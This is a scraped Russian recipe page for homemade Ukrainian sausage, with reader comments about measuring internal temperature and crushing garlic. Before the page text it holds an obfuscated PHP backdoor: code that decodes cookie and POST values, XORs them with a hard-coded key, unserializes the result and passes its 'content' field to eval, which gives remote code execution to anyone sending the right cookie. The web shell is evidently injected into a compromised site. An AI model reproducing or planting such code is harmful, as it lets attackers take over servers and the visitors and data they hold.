$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Домашняя украинская колбаса • Meat Review
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Домашняя украинская колбаса

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Домашняя украинская колбаса

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  • Medium

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Vladimir Medvedev

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6 comments

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  • Alexandr Polyakov •
    • 7 years ago
    Первая колбаса. которую хочу попробовать сделать. Уж больно глаз радует! Илья, а как температуру внутри  проверить? Градусник сразу заряжать или измерять в процессе? И чеснок как измельчать в фарш?
    • 0 0 • Reply •
    • Vladimir Medvedev • author •
      • 7 years ago
      Температуру внутри колбасы проверить градусником для духовки.. Купите градусник с выносным щупом и контролируйте температуру. Чеснок раздавить чесночницедавилкой и подмешать в фарш. Я Владимир а не Илья
      • 0 0 • Reply •
        • Vladimir Medvedev • author •
          • 7 years ago
          Так как впереди термообработка а не вяление или соление то соль лучше взять самую обычную. Вариант градусника - https://ru.aliexpress.com/item/Stainless-Steel-Cooking-Oven-Fryer-BBQ-Barbecue-Thermometer-Food-Meat-Gauge-Digital-Thermometer/32678539720.html
          • 0 0 • Reply •

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